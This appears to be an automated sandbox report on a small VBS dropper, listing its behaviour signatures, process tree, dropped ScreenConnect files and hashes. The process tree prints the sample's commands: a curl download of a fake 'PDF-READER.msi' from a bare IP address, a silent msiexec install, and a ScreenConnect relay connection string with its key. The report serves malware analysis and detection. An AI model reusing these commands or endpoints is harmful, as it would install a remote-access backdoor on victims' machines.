Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/11/2025, 11:27

General

  • Target
    NFL-098807723577326YUI-PT12.Vbs.vbs
  • Size 1KB
  • Sample251101-nkngjsds8b
  • SHA256 16d219bf805b87558798ebff2246de247a010de7baa7fe3058daeaac1ffc3fa7
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NFL-098807723577326YUI-PT12.Vbs.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5652
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\PDF-READER.msi" "http://149.28.37.109/PDF-READER.msi"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5192
      • C:\Windows\system32\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\PDF-READER.msi" "http://149.28.37.109/PDF-READER.msi"
        3⤵
          PID:3716
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\PDF-READER.msi" /quiet /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2716
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5444
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E306D5F34C6657E0B8D78AF8E1A1C0D0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2268
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI6968.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240609843 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4976
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1703CB56A53E2FA710A5816F76658EAB E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3576
    • C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-wipwm8-relay.screenconnect.com&p=443&s=b4a36123-a530-4c36-8b7f-4092007935d2&k=BgIAAACkAABSU0ExAAgAAAEAAQAR3fEQHLYqDzwwLt60MZkKQyDT7mkcZnIuoDhusJkkhgLxGu9E2rfQzG86D6KhIoVUd%2fsM%2bwEu5ZIkEq5r15aS2MMA9v1zT4IfELH1HqoNHy3pZezKLc6AaF12eRwhaTZVuab4oV%2fc2YSG1g9yMBd%2f84LMvreVtGFw%2fRSfMU37I%2fuFoDjVMSPnOg2TyCuwLzJbwXBXOW9eTfl%2bhxzhGN1m1DRGIqSIKuiEWgSe42E9EZJnHQnImw1M5XAHikTEh01cqoiJTFBa9DVZ%2f7oVaD0ahopzN081wfgaVCrn2McBWbDdFQxgXGM2w%2b5%2blbuWaGlCTGksp9rr%2b2V7n%2f%2fS5Qu4"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe" "RunRole" "e54fb3b1-8807-4ca8-bbed-560a85fcf7a7" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5552
      • C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe" "RunRole" "67294e54-4e35-4c26-994a-de6d9277ef6d" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4240

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57662f.rbs

          • Path C:\Config.Msi\e57662f.rbs
          • Size 214KB
          • SHA256 916e31085eebc0cda3e0d58a8f2a4247cfabdb86867e4675e8660b6156b1af27
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\Client.en-US.resources
          • Size 65KB
          • SHA256 84ec77059d7272f36250c6fb01f71d7e8238aac55a9231a85eb2d969b9271683
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\Client.resources
          • Size 2KB
          • SHA256 4514129a17cafb2891674dd75cf25dfc3e2ac08a08f7adebeba3519f2313ac5e
          • MD5 SHA1 SHA512

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.Client.dll
          • Size 400KB
          • SHA256 3edf926e5a35a74fd792a740a90e2a3a1c2d0574366f910dd2cfb06c905409b2
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 24b35b9f3630b27f36fcae0a8064f16c6bc73def2ba00374d874a459acaaaef4
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 be88222df0d4b16419ca33b99fa95ee12046495b7d27cd555004f8652419ad24
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.Core.dll
          • Size 553KB
          • SHA256 e6bc140a7c450d1785692d940219df98eb903644e0c247eddf1723c05b8d73ab
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 ee10da3a88d53e59a57a587625676db99eb149429aa3708beaf02b133850becf
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe
          • Size 600KB
          • SHA256 390c3122f647553fe83ed4f4a7d6aebf834fd54aaeaba30512876eeb649d7f3c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 f816096653cb2538e47d6e1b7657693ecdb15bc005d189d70e935abcad0917b3
          • MD5 SHA1 SHA512 SSDEEP

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\system.config
          • Size 970B
          • SHA256 157087cb36ea5d345b190c44d5c4ab980bd2f415ec5eabc7edde158a50a90753
          • MD5 SHA1 SHA512

          PDF-READER.msi

          • Path C:\Users\Admin\AppData\Local\Temp\PDF-READER.msi
          • Size 9.6MB
          • SHA256 e0af0be8429ca59caa591431d0cd4189f79a2a4e06850a96328206e660cb637c
          • MD5 SHA1 SHA512 SSDEEP

          MSI6968.tmp

          • Path C:\Windows\Installer\MSI6968.tmp
          • Size 1.1MB
          • SHA256 2084c0dcce133d523122387db3daaed9bcdaf40d740eddd2d97bf57e430322ec
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI6968.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI6968.tmp-\ScreenConnect.Core.dll
          • Size 543KB
          • SHA256 2cb45c8a613d13a6e457a7ab67416e522753c19581dfd5db37e1f8a2bd85d1fd
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI6968.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8d049d0f1a4772c0a68a87566abb0043db9d1b8bb37b3c56ff89b18b500c4dad
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI6968.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 47ecc0e50315e30d705408ce5fa783135fdf4e79fcff6da32b648af4cfcea855
          • MD5 SHA1 SHA512 SSDEEP

          MSI6D23.tmp

          • Path C:\Windows\Installer\MSI6D23.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          memory/3944-94-0x0000000003D80000-0x0000000003DD0000-memory.dmp

          memory/3944-114-0x00000000042A0000-0x0000000004375000-memory.dmp

          memory/3944-98-0x0000000004040000-0x00000000040A8000-memory.dmp

          memory/3944-92-0x0000000003E90000-0x000000000403E000-memory.dmp

          memory/3944-99-0x00000000040B0000-0x0000000004142000-memory.dmp

          memory/3944-82-0x0000000003A60000-0x0000000003A78000-memory.dmp

          memory/3944-112-0x0000000003DD0000-0x0000000003E11000-memory.dmp

          memory/3944-88-0x0000000003C50000-0x0000000003CDE000-memory.dmp

          memory/4976-36-0x0000000004D80000-0x0000000004D8A000-memory.dmp

          memory/4976-44-0x00000000050E0000-0x000000000528E000-memory.dmp

          memory/4976-40-0x0000000004EA0000-0x0000000004F2E000-memory.dmp

          memory/4976-45-0x0000000005840000-0x0000000005DE6000-memory.dmp

          memory/4976-32-0x0000000004D40000-0x0000000004D6E000-memory.dmp

          memory/5552-123-0x00000000002F0000-0x000000000038A000-memory.dmp

          memory/5552-124-0x000000001C4F0000-0x000000001C558000-memory.dmp

          memory/5552-126-0x000000001CB70000-0x000000001CD1E000-memory.dmp

          memory/5552-125-0x000000001C930000-0x000000001C9BE000-memory.dmp

          memory/5552-127-0x000000001DF60000-0x000000001E0E8000-memory.dmp

          memory/5552-128-0x0000000002460000-0x0000000002478000-memory.dmp

          memory/5552-129-0x00000000024A0000-0x00000000024B8000-memory.dmp

          memory/5552-130-0x00000000025D0000-0x0000000002611000-memory.dmp